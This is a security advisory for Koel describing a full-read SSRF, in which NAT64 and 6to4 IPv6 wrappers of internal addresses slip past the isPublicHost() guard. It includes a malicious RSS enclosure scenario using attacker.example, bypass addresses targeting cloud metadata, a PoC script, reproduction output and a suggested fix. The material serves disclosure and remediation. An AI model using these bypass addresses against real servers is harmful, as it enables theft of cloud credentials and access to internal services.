GHSA-RJG7-R26H-CFP2

Vulnerability from github – Published: 2026-07-15 18:21 – Updated: 2026-07-15 18:21
VLAI
Summary
Koel: Full-read SSRF via podcast enclosure URL: isPublicHost() filter_var guard does not reject NAT64 (64:ff9b::/96) or 6to4 (2002::/16) IPv6-transition wrappers of internal IPv4
Details

Summary

Koel's outbound-URL guard App\Helpers\Network::isPublicHost() classifies an IP as "public" using PHP's filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE). That flag set does not recognise IPv6 transition-address forms that embed a private/loopback/link-local IPv4: NAT64 well-known prefix 64:ff9b::/96 (RFC 6052) and 6to4 2002::/16 (RFC 3056). An address such as 64:ff9b::7f00:1 (= 127.0.0.1), 64:ff9b::a9fe:a9fe (= 169.254.169.254, the cloud metadata endpoint), or 2002:a00:1:: (= 10.0.0.1) is reported as a public address, so the guard returns true and Koel proceeds to fetch the URL.

The guard is the only SSRF defense in front of App\Values\Podcast\EpisodePlayable::createForEpisode(), which downloads a podcast episode with Http::sink($file)->get($url) and streams the response body back to the requesting user. Because an attacker fully controls the <enclosure url> of any RSS feed they host (and any authenticated user can subscribe to a feed), they can publish an enclosure whose hostname has an AAAA record that is a NAT64/6to4 wrapper of an internal IP. On hosts with NAT64 or 6to4/dual-stack routing (the standard configuration on IPv6-only AWS/GCP subnets and 6to4-relayed networks), the kernel routes the wrapper to the embedded IPv4, and Koel performs a full-read SSRF against the internal endpoint — returning the response body to the attacker.

This is a server-side request forgery with full response disclosure (CWE-918) against internal services and cloud instance metadata.

Vulnerable code

app/Helpers/Network.phpisPublicHost() (the literal-IP branch and the per-resolved-record branch use the identical predicate):

public function isPublicHost(string $host): bool
{
    if (filter_var($host, FILTER_VALIDATE_IP)) {
        return (
            filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false
        );
    }

    try {
        $records = array_merge(dns_get_record($host, DNS_A) ?: [], dns_get_record($host, DNS_AAAA) ?: []);
    } catch (Throwable) {
        return false;
    }

    if ($records === []) {
        return false;
    }

    foreach ($records as $record) {
        $ip = $record['ip'] ?? $record['ipv6'] ?? null;

        if (
            !$ip
            || filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false
        ) {
            return false;
        }
    }

    return true;
}

PHP's FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE rejects RFC 1918, loopback, link-local and IPv4-mapped IPv6 (::ffff:a.b.c.d), but treats NAT64 64:ff9b::/96 and 6to4 2002::/16 as ordinary global addresses — even though both forms deterministically embed an IPv4 the kernel will route to.

The sink, app/Values/Podcast/EpisodePlayable.phpcreateForEpisode():

$network = app(Network::class);
$url = (string) $episode->path;

if (!$network->isSafeUrl($url)) {            // isSafeUrl() -> isPublicHost(), the only guard
    throw UnsafeUrlException::forUrl($url);
}

Http::sink($file)
    ->withOptions([
        'allow_redirects' => [
            'max' => 5,
            'on_redirect' => static function (
                RequestInterface $request,
                ResponseInterface $response,
                UriInterface $uri,
            ) use ($network): void {
                if (!$network->isSafeUrl((string) $uri)) {   // same guard on redirects -> same bypass
                    throw UnsafeUrlException::forUrl((string) $uri);
                }
            },
        ],
    ])
    ->get($url)                              // full-read SSRF: response streamed into $file
    ->throw();

$episode->path is the <enclosure url> from the subscribed podcast RSS feed. The redirect callback reuses the same isSafeUrl(), so a redirect to a NAT64/6to4 host is also accepted.

Attack scenario / How input reaches the sink

  1. Attacker hosts a podcast RSS feed and serves an item whose enclosure is <enclosure url="http://int.attacker.example/secret" type="audio/mpeg"/>, where int.attacker.example publishes AAAA = 64:ff9b::a9fe:a9fe (NAT64 wrapper of 169.254.169.254) or 2002:a00:1:: (6to4 wrapper of 10.0.0.1). The attacker may also use a bare IPv6-literal enclosure host directly.
  2. A Koel user subscribes to the feed (a standard, intended feature — the podcast subscription endpoint accepts an arbitrary feed URL) and plays / streams the episode.
  3. EpisodePlayable::createForEpisode() calls isSafeUrl($url). The host resolves to the NAT64/6to4 address; isPublicHost() runs filter_var(NO_PRIV_RANGE | NO_RES_RANGE) over the embedded-IPv4 transition form and returns true.
  4. Http::sink($file)->get($url) connects. On a NAT64/dual-stack/6to4-routed host the kernel forwards to the embedded internal IPv4. The internal response body is written to $file and served back to the user — full-read SSRF against internal services / cloud IMDS.

Proof of concept

(a) Guard-predicate proof (PHP 8.5, the exact filter_var call)

<?php
function isPublicHost_literal(string $ip): bool {        // koel Network::isPublicHost literal branch
    if (!filter_var($ip, FILTER_VALIDATE_IP)) return false;
    return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false;
}
foreach ([
  ['NAT64(127.0.0.1)','64:ff9b::7f00:1'], ['NAT64(169.254.169.254 IMDS)','64:ff9b::a9fe:a9fe'],
  ['NAT64(10.0.0.1)','64:ff9b::a00:1'],   ['6to4(127.0.0.1)','2002:7f00:1::'],
  ['6to4(169.254.169.254)','2002:a9fe:a9fe::'], ['6to4(10.0.0.1)','2002:a00:1::'],
  ['direct 127.0.0.1','127.0.0.1'], ['direct 10.0.0.1','10.0.0.1'],
  ['direct 169.254.169.254','169.254.169.254'], ['IPv4-mapped ::ffff:10.0.0.1','::ffff:10.0.0.1'],
] as [$l,$ip]) printf("%-30s %-22s passes_public=%s\n",$l,$ip,isPublicHost_literal($ip)?'YES(BYPASS)':'no(blocked)');

Verbatim output:

NAT64(127.0.0.1)               64:ff9b::7f00:1        passes_public=YES(BYPASS)
NAT64(169.254.169.254 IMDS)    64:ff9b::a9fe:a9fe     passes_public=YES(BYPASS)
NAT64(10.0.0.1)                64:ff9b::a00:1         passes_public=YES(BYPASS)
6to4(127.0.0.1)                2002:7f00:1::          passes_public=YES(BYPASS)
6to4(169.254.169.254)          2002:a9fe:a9fe::       passes_public=YES(BYPASS)
6to4(10.0.0.1)                 2002:a00:1::           passes_public=YES(BYPASS)
direct 127.0.0.1               127.0.0.1              passes_public=no(blocked)
direct 10.0.0.1                10.0.0.1               passes_public=no(blocked)
direct 169.254.169.254         169.254.169.254        passes_public=no(blocked)
IPv4-mapped ::ffff:10.0.0.1    ::ffff:10.0.0.1        passes_public=no(blocked)

End-to-end reproduction against pinned koel v9.5.0

Environment: git clone --branch v9.5.0 https://github.com/koel/koel.git + composer install, run inside a php:8.5-cli container started with --cap-add=NET_ADMIN so the NAT64 and 6to4 prefixes can be assigned to lo, simulating a NAT64/dual-stack host's kernel routing:

ip -6 addr add 64:ff9b::7f00:1/128 dev lo    # NAT64 wrapper of 127.0.0.1 -> loopback
ip -6 addr add 2002:7f00:1::/128 dev lo       # 6to4 wrapper of 127.0.0.1  -> loopback

A localhost stand-in "internal IMDS" server listens on those literals and returns SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64. The harness boots a real Laravel container, resolves the genuine released App\Helpers\Network (from app/Helpers/Network.php), invokes its real isPublicHost() on each attacker AAAA-record value, then runs the verbatim EpisodePlayable::createForEpisode() body (isSafeUrl guard, then Http::sink($file)->get($url) via Laravel's real Guzzle-backed client):

$network = $app->make(App\Helpers\Network::class);   // resolved from app/Helpers/Network.php
// STEP 1: genuine guard decision on the attacker AAAA-record value
foreach ($aaaa as [$label,$ip]) echo $network->isPublicHost($ip) ? 'true' : 'false';
// STEP 2: verbatim createForEpisode body
if (!$network->isPublicHost($hostForGuard)) { /* REJECTED */ }
else { Http::sink($file)->withOptions([...])->get($url); /* fetch + read body */ }

Verbatim output:

Network class (genuine released koel source): App\Helpers\Network
Resolved from: /app/app/Helpers/Network.php
Guard predicate source (app/Helpers/Network.php isPublicHost):
    filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)

==== STEP 1 — genuine $network->isPublicHost() on attacker AAAA-record value (the only guard) ====
  isPublicHost(64:ff9b::7f00:1     ) = true   [NAT64(127.0.0.1)  -> loopback] expect=bypass-expected
  isPublicHost(64:ff9b::a9fe:a9fe  ) = true   [NAT64(169.254.169.254) -> AWS IMDS] expect=bypass-expected
  isPublicHost(2002:a00:1::        ) = true   [6to4(10.0.0.1)   -> RFC1918] expect=bypass-expected
  isPublicHost(10.0.0.1            ) = false  [DIRECT RFC1918 10.0.0.1 (neg ctrl A)] expect=must-block
  isPublicHost(::ffff:10.0.0.1     ) = false  [IPv4-mapped ::ffff:10.0.0.1 (neg B)] expect=must-block
  isPublicHost(127.0.0.1           ) = false  [DIRECT loopback 127.0.0.1 (neg ctrl)] expect=must-block
  isPublicHost(8.8.8.8             ) = true   [PUBLIC 8.8.8.8 (positive ctrl)] expect=must-allow

==== STEP 2 — genuine EpisodePlayable fetch via Http::sink (real network) ====
[IMDS-STANDIN HIT] local_addr_reached=[64:ff9b::7f00:1]:18099 peer=[64:ff9b::7f00:1]:37214 request_line="GET /secret HTTP/1.1" Host: [64:ff9b::7f00:1]:18099
  [NAT64 well-known of 127.0.0.1]
    url=http://[64:ff9b::7f00:1]:18099/secret
    guard=PASSED fetched=YES status=200
    sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64
[IMDS-STANDIN HIT] local_addr_reached=[2002:7f00:1::]:18099 peer=[2002:7f00:1::]:49654 request_line="GET /secret HTTP/1.1" Host: [2002:7f00:1::]:18099
  [6to4 of 127.0.0.1]
    url=http://[2002:7f00:1::]:18099/secret
    guard=PASSED fetched=YES status=200
    sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64
  [DIRECT RFC1918 10.0.0.1 (neg ctrl A)]
    url=http://10.0.0.1:18099/secret
    guard=REJECTED fetched=no status=-
    sink_body=(none)

==== E2E DONE ====

Result: both NAT64 and 6to4 enclosure URLs pass the genuine isPublicHost/isSafeUrl guard, the genuine Http::sink()->get() connects to the internal stand-in, and the internal response body (SENTINEL_INTERNAL_IMDS_SECRET=...) is read back — full-read SSRF.

Negative controls

  • http://10.0.0.1 (direct RFC 1918) — guard REJECTED, no fetch (shown above).
  • ::ffff:10.0.0.1 (IPv4-mapped IPv6) and 127.0.0.1 / 169.254.169.254 (direct) — isPublicHost(...) = false (shown in STEP 1). The existing guard correctly blocks every form except the two transition wrappers, confirming the gap is specific to NAT64 64:ff9b::/96 and 6to4 2002::/16.
  • 8.8.8.8 (public) — isPublicHost(...) = true (positive control: legitimate public hosts are unaffected by the proposed fix).

Impact

Full-read SSRF (CWE-918). An authenticated user able to subscribe to a podcast feed they control can coerce the Koel server into issuing HTTP requests to internal services and reading the responses:

  • Cloud instance metadata (http://[64:ff9b::a9fe:a9fe]/latest/meta-data/...) — credential / IAM-role token theft on AWS/GCP/Azure.
  • Internal-only HTTP services (admin panels, databases with HTTP fronts, localhost daemons) reachable from the Koel host.

Precondition: the Koel host has NAT64 (64:ff9b::/96) or 6to4/dual-stack routing for the transition prefix — the default on IPv6-only AWS/GCP subnets (NAT64) and on 6to4-relayed dual-stack networks. This is the same host-precondition class under which the IPv4/IPv6-literal SSRF guard is meaningful at all.

Suggested fix

In isPublicHost(), before classifying an IP, normalise IPv6 transition forms by extracting the embedded IPv4 and re-running the private/reserved check on it, and additionally reject the transition prefixes outright. Concretely: for any IPv6 address, detect NAT64 (64:ff9b::/96, 64:ff9b:1::/48), 6to4 (2002::/16), IPv4-mapped (::ffff:0:0/96, already covered by the flag but should be unwrapped for consistency), Teredo (2001::/32) and IPv4-compatible (::/96) wrappers, extract the embedded IPv4, and require it to pass FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE as well. The same unwrap must be applied to every IP resolved in the DNS branch. A fix PR implementing this (with regression tests over NAT64/6to4/Teredo/IPv4-compatible wrappers of loopback / RFC 1918 / link-local / IMDS plus public-host positive controls) is linked below.

Fix PR

A fix is provided via a private fork PR against the advisory's temporary fork (linked from the advisory's "Collaborators" / fix workflow). It adds an extractEmbeddedIpv4() helper covering IPv4-mapped, IPv4-compatible, 6to4, NAT64 well-known and NAT64-discovery forms, recurse-checks the embedded IPv4 against the existing NO_PRIV_RANGE | NO_RES_RANGE predicate in both the literal-IP and per-resolved-record branches of isPublicHost(), and adds regression tests.

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.7.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phanan/koel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54494"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T18:21:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nKoel\u0027s outbound-URL guard `App\\Helpers\\Network::isPublicHost()` classifies an IP as \"public\" using PHP\u0027s `filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)`. That flag set does **not** recognise IPv6 transition-address forms that embed a private/loopback/link-local IPv4: NAT64 well-known prefix `64:ff9b::/96` (RFC 6052) and 6to4 `2002::/16` (RFC 3056). An address such as `64:ff9b::7f00:1` (= `127.0.0.1`), `64:ff9b::a9fe:a9fe` (= `169.254.169.254`, the cloud metadata endpoint), or `2002:a00:1::` (= `10.0.0.1`) is reported as a public address, so the guard returns `true` and Koel proceeds to fetch the URL.\n\nThe guard is the only SSRF defense in front of `App\\Values\\Podcast\\EpisodePlayable::createForEpisode()`, which downloads a podcast episode with `Http::sink($file)-\u003eget($url)` and streams the response body back to the requesting user. Because an attacker fully controls the `\u003cenclosure url\u003e` of any RSS feed they host (and any authenticated user can subscribe to a feed), they can publish an enclosure whose hostname has an `AAAA` record that is a NAT64/6to4 wrapper of an internal IP. On hosts with NAT64 or 6to4/dual-stack routing (the standard configuration on IPv6-only AWS/GCP subnets and 6to4-relayed networks), the kernel routes the wrapper to the embedded IPv4, and Koel performs a full-read SSRF against the internal endpoint \u2014 returning the response body to the attacker.\n\nThis is a server-side request forgery with full response disclosure (CWE-918) against internal services and cloud instance metadata.\n\n## Vulnerable code\n\n`app/Helpers/Network.php` \u2014 `isPublicHost()` (the literal-IP branch and the per-resolved-record branch use the identical predicate):\n\n```php\npublic function isPublicHost(string $host): bool\n{\n    if (filter_var($host, FILTER_VALIDATE_IP)) {\n        return (\n            filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false\n        );\n    }\n\n    try {\n        $records = array_merge(dns_get_record($host, DNS_A) ?: [], dns_get_record($host, DNS_AAAA) ?: []);\n    } catch (Throwable) {\n        return false;\n    }\n\n    if ($records === []) {\n        return false;\n    }\n\n    foreach ($records as $record) {\n        $ip = $record[\u0027ip\u0027] ?? $record[\u0027ipv6\u0027] ?? null;\n\n        if (\n            !$ip\n            || filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false\n        ) {\n            return false;\n        }\n    }\n\n    return true;\n}\n```\n\n`PHP`\u0027s `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` rejects RFC 1918, loopback, link-local and IPv4-mapped IPv6 (`::ffff:a.b.c.d`), but treats NAT64 `64:ff9b::/96` and 6to4 `2002::/16` as ordinary global addresses \u2014 even though both forms deterministically embed an IPv4 the kernel will route to.\n\nThe sink, `app/Values/Podcast/EpisodePlayable.php` \u2014 `createForEpisode()`:\n\n```php\n$network = app(Network::class);\n$url = (string) $episode-\u003epath;\n\nif (!$network-\u003eisSafeUrl($url)) {            // isSafeUrl() -\u003e isPublicHost(), the only guard\n    throw UnsafeUrlException::forUrl($url);\n}\n\nHttp::sink($file)\n    -\u003ewithOptions([\n        \u0027allow_redirects\u0027 =\u003e [\n            \u0027max\u0027 =\u003e 5,\n            \u0027on_redirect\u0027 =\u003e static function (\n                RequestInterface $request,\n                ResponseInterface $response,\n                UriInterface $uri,\n            ) use ($network): void {\n                if (!$network-\u003eisSafeUrl((string) $uri)) {   // same guard on redirects -\u003e same bypass\n                    throw UnsafeUrlException::forUrl((string) $uri);\n                }\n            },\n        ],\n    ])\n    -\u003eget($url)                              // full-read SSRF: response streamed into $file\n    -\u003ethrow();\n```\n\n`$episode-\u003epath` is the `\u003cenclosure url\u003e` from the subscribed podcast RSS feed. The redirect callback reuses the same `isSafeUrl()`, so a redirect to a NAT64/6to4 host is also accepted.\n\n## Attack scenario / How input reaches the sink\n\n1. Attacker hosts a podcast RSS feed and serves an item whose enclosure is `\u003cenclosure url=\"http://int.attacker.example/secret\" type=\"audio/mpeg\"/\u003e`, where `int.attacker.example` publishes `AAAA = 64:ff9b::a9fe:a9fe` (NAT64 wrapper of `169.254.169.254`) or `2002:a00:1::` (6to4 wrapper of `10.0.0.1`). The attacker may also use a bare IPv6-literal enclosure host directly.\n2. A Koel user subscribes to the feed (a standard, intended feature \u2014 the podcast subscription endpoint accepts an arbitrary feed URL) and plays / streams the episode.\n3. `EpisodePlayable::createForEpisode()` calls `isSafeUrl($url)`. The host resolves to the NAT64/6to4 address; `isPublicHost()` runs `filter_var(NO_PRIV_RANGE | NO_RES_RANGE)` over the embedded-IPv4 transition form and returns `true`.\n4. `Http::sink($file)-\u003eget($url)` connects. On a NAT64/dual-stack/6to4-routed host the kernel forwards to the embedded internal IPv4. The internal response body is written to `$file` and served back to the user \u2014 full-read SSRF against internal services / cloud IMDS.\n\n## Proof of concept\n\n### (a) Guard-predicate proof (PHP 8.5, the exact `filter_var` call)\n\n```php\n\u003c?php\nfunction isPublicHost_literal(string $ip): bool {        // koel Network::isPublicHost literal branch\n    if (!filter_var($ip, FILTER_VALIDATE_IP)) return false;\n    return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false;\n}\nforeach ([\n  [\u0027NAT64(127.0.0.1)\u0027,\u002764:ff9b::7f00:1\u0027], [\u0027NAT64(169.254.169.254 IMDS)\u0027,\u002764:ff9b::a9fe:a9fe\u0027],\n  [\u0027NAT64(10.0.0.1)\u0027,\u002764:ff9b::a00:1\u0027],   [\u00276to4(127.0.0.1)\u0027,\u00272002:7f00:1::\u0027],\n  [\u00276to4(169.254.169.254)\u0027,\u00272002:a9fe:a9fe::\u0027], [\u00276to4(10.0.0.1)\u0027,\u00272002:a00:1::\u0027],\n  [\u0027direct 127.0.0.1\u0027,\u0027127.0.0.1\u0027], [\u0027direct 10.0.0.1\u0027,\u002710.0.0.1\u0027],\n  [\u0027direct 169.254.169.254\u0027,\u0027169.254.169.254\u0027], [\u0027IPv4-mapped ::ffff:10.0.0.1\u0027,\u0027::ffff:10.0.0.1\u0027],\n] as [$l,$ip]) printf(\"%-30s %-22s passes_public=%s\\n\",$l,$ip,isPublicHost_literal($ip)?\u0027YES(BYPASS)\u0027:\u0027no(blocked)\u0027);\n```\n\nVerbatim output:\n\n```\nNAT64(127.0.0.1)               64:ff9b::7f00:1        passes_public=YES(BYPASS)\nNAT64(169.254.169.254 IMDS)    64:ff9b::a9fe:a9fe     passes_public=YES(BYPASS)\nNAT64(10.0.0.1)                64:ff9b::a00:1         passes_public=YES(BYPASS)\n6to4(127.0.0.1)                2002:7f00:1::          passes_public=YES(BYPASS)\n6to4(169.254.169.254)          2002:a9fe:a9fe::       passes_public=YES(BYPASS)\n6to4(10.0.0.1)                 2002:a00:1::           passes_public=YES(BYPASS)\ndirect 127.0.0.1               127.0.0.1              passes_public=no(blocked)\ndirect 10.0.0.1                10.0.0.1               passes_public=no(blocked)\ndirect 169.254.169.254         169.254.169.254        passes_public=no(blocked)\nIPv4-mapped ::ffff:10.0.0.1    ::ffff:10.0.0.1        passes_public=no(blocked)\n```\n\n### End-to-end reproduction against pinned koel v9.5.0\n\nEnvironment: `git clone --branch v9.5.0 https://github.com/koel/koel.git` + `composer install`, run inside a `php:8.5-cli` container started with `--cap-add=NET_ADMIN` so the NAT64 and 6to4 prefixes can be assigned to `lo`, simulating a NAT64/dual-stack host\u0027s kernel routing:\n\n```\nip -6 addr add 64:ff9b::7f00:1/128 dev lo    # NAT64 wrapper of 127.0.0.1 -\u003e loopback\nip -6 addr add 2002:7f00:1::/128 dev lo       # 6to4 wrapper of 127.0.0.1  -\u003e loopback\n```\n\nA localhost stand-in \"internal IMDS\" server listens on those literals and returns `SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64`. The harness boots a real Laravel container, resolves the **genuine released** `App\\Helpers\\Network` (from `app/Helpers/Network.php`), invokes its real `isPublicHost()` on each attacker `AAAA`-record value, then runs the verbatim `EpisodePlayable::createForEpisode()` body (`isSafeUrl` guard, then `Http::sink($file)-\u003eget($url)` via Laravel\u0027s real Guzzle-backed client):\n\n```php\n$network = $app-\u003emake(App\\Helpers\\Network::class);   // resolved from app/Helpers/Network.php\n// STEP 1: genuine guard decision on the attacker AAAA-record value\nforeach ($aaaa as [$label,$ip]) echo $network-\u003eisPublicHost($ip) ? \u0027true\u0027 : \u0027false\u0027;\n// STEP 2: verbatim createForEpisode body\nif (!$network-\u003eisPublicHost($hostForGuard)) { /* REJECTED */ }\nelse { Http::sink($file)-\u003ewithOptions([...])-\u003eget($url); /* fetch + read body */ }\n```\n\nVerbatim output:\n\n```\nNetwork class (genuine released koel source): App\\Helpers\\Network\nResolved from: /app/app/Helpers/Network.php\nGuard predicate source (app/Helpers/Network.php isPublicHost):\n    filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)\n\n==== STEP 1 \u2014 genuine $network-\u003eisPublicHost() on attacker AAAA-record value (the only guard) ====\n  isPublicHost(64:ff9b::7f00:1     ) = true   [NAT64(127.0.0.1)  -\u003e loopback] expect=bypass-expected\n  isPublicHost(64:ff9b::a9fe:a9fe  ) = true   [NAT64(169.254.169.254) -\u003e AWS IMDS] expect=bypass-expected\n  isPublicHost(2002:a00:1::        ) = true   [6to4(10.0.0.1)   -\u003e RFC1918] expect=bypass-expected\n  isPublicHost(10.0.0.1            ) = false  [DIRECT RFC1918 10.0.0.1 (neg ctrl A)] expect=must-block\n  isPublicHost(::ffff:10.0.0.1     ) = false  [IPv4-mapped ::ffff:10.0.0.1 (neg B)] expect=must-block\n  isPublicHost(127.0.0.1           ) = false  [DIRECT loopback 127.0.0.1 (neg ctrl)] expect=must-block\n  isPublicHost(8.8.8.8             ) = true   [PUBLIC 8.8.8.8 (positive ctrl)] expect=must-allow\n\n==== STEP 2 \u2014 genuine EpisodePlayable fetch via Http::sink (real network) ====\n[IMDS-STANDIN HIT] local_addr_reached=[64:ff9b::7f00:1]:18099 peer=[64:ff9b::7f00:1]:37214 request_line=\"GET /secret HTTP/1.1\" Host: [64:ff9b::7f00:1]:18099\n  [NAT64 well-known of 127.0.0.1]\n    url=http://[64:ff9b::7f00:1]:18099/secret\n    guard=PASSED fetched=YES status=200\n    sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64\n[IMDS-STANDIN HIT] local_addr_reached=[2002:7f00:1::]:18099 peer=[2002:7f00:1::]:49654 request_line=\"GET /secret HTTP/1.1\" Host: [2002:7f00:1::]:18099\n  [6to4 of 127.0.0.1]\n    url=http://[2002:7f00:1::]:18099/secret\n    guard=PASSED fetched=YES status=200\n    sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64\n  [DIRECT RFC1918 10.0.0.1 (neg ctrl A)]\n    url=http://10.0.0.1:18099/secret\n    guard=REJECTED fetched=no status=-\n    sink_body=(none)\n\n==== E2E DONE ====\n```\n\nResult: both NAT64 and 6to4 enclosure URLs pass the genuine `isPublicHost`/`isSafeUrl` guard, the genuine `Http::sink()-\u003eget()` connects to the internal stand-in, and the internal response body (`SENTINEL_INTERNAL_IMDS_SECRET=...`) is read back \u2014 full-read SSRF.\n\n### Negative controls\n\n- `http://10.0.0.1` (direct RFC 1918) \u2014 guard `REJECTED`, no fetch (shown above).\n- `::ffff:10.0.0.1` (IPv4-mapped IPv6) and `127.0.0.1` / `169.254.169.254` (direct) \u2014 `isPublicHost(...) = false` (shown in STEP 1). The existing guard correctly blocks every form **except** the two transition wrappers, confirming the gap is specific to NAT64 `64:ff9b::/96` and 6to4 `2002::/16`.\n- `8.8.8.8` (public) \u2014 `isPublicHost(...) = true` (positive control: legitimate public hosts are unaffected by the proposed fix).\n\n## Impact\n\nFull-read SSRF (CWE-918). An authenticated user able to subscribe to a podcast feed they control can coerce the Koel server into issuing HTTP requests to internal services and reading the responses:\n\n- Cloud instance metadata (`http://[64:ff9b::a9fe:a9fe]/latest/meta-data/...`) \u2014 credential / IAM-role token theft on AWS/GCP/Azure.\n- Internal-only HTTP services (admin panels, databases with HTTP fronts, `localhost` daemons) reachable from the Koel host.\n\nPrecondition: the Koel host has NAT64 (`64:ff9b::/96`) or 6to4/dual-stack routing for the transition prefix \u2014 the default on IPv6-only AWS/GCP subnets (NAT64) and on 6to4-relayed dual-stack networks. This is the same host-precondition class under which the IPv4/IPv6-literal SSRF guard is meaningful at all.\n\n## Suggested fix\n\nIn `isPublicHost()`, before classifying an IP, normalise IPv6 transition forms by extracting the embedded IPv4 and re-running the private/reserved check on it, and additionally reject the transition prefixes outright. Concretely: for any IPv6 address, detect NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:0:0/96`, already covered by the flag but should be unwrapped for consistency), Teredo (`2001::/32`) and IPv4-compatible (`::/96`) wrappers, extract the embedded IPv4, and require it to pass `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` as well. The same unwrap must be applied to every IP resolved in the DNS branch. A fix PR implementing this (with regression tests over NAT64/6to4/Teredo/IPv4-compatible wrappers of loopback / RFC 1918 / link-local / IMDS plus public-host positive controls) is linked below.\n\n## Fix PR\n\nA fix is provided via a private fork PR against the advisory\u0027s temporary fork (linked from the advisory\u0027s \"Collaborators\" / fix workflow). It adds an `extractEmbeddedIpv4()` helper covering IPv4-mapped, IPv4-compatible, 6to4, NAT64 well-known and NAT64-discovery forms, recurse-checks the embedded IPv4 against the existing `NO_PRIV_RANGE | NO_RES_RANGE` predicate in both the literal-IP and per-resolved-record branches of `isPublicHost()`, and adds regression tests.\n\n## Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-rjg7-r26h-cfp2",
  "modified": "2026-07-15T18:21:39Z",
  "published": "2026-07-15T18:21:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-rjg7-r26h-cfp2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/pull/2549"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/5f6ce2cefd08f437a269236b677ad971517ccbb6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koel/koel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/releases/tag/v9.7.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Koel: Full-read SSRF via podcast enclosure URL: isPublicHost() filter_var guard does not reject NAT64 (64:ff9b::/96) or 6to4 (2002::/16) IPv6-transition wrappers of internal IPv4"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…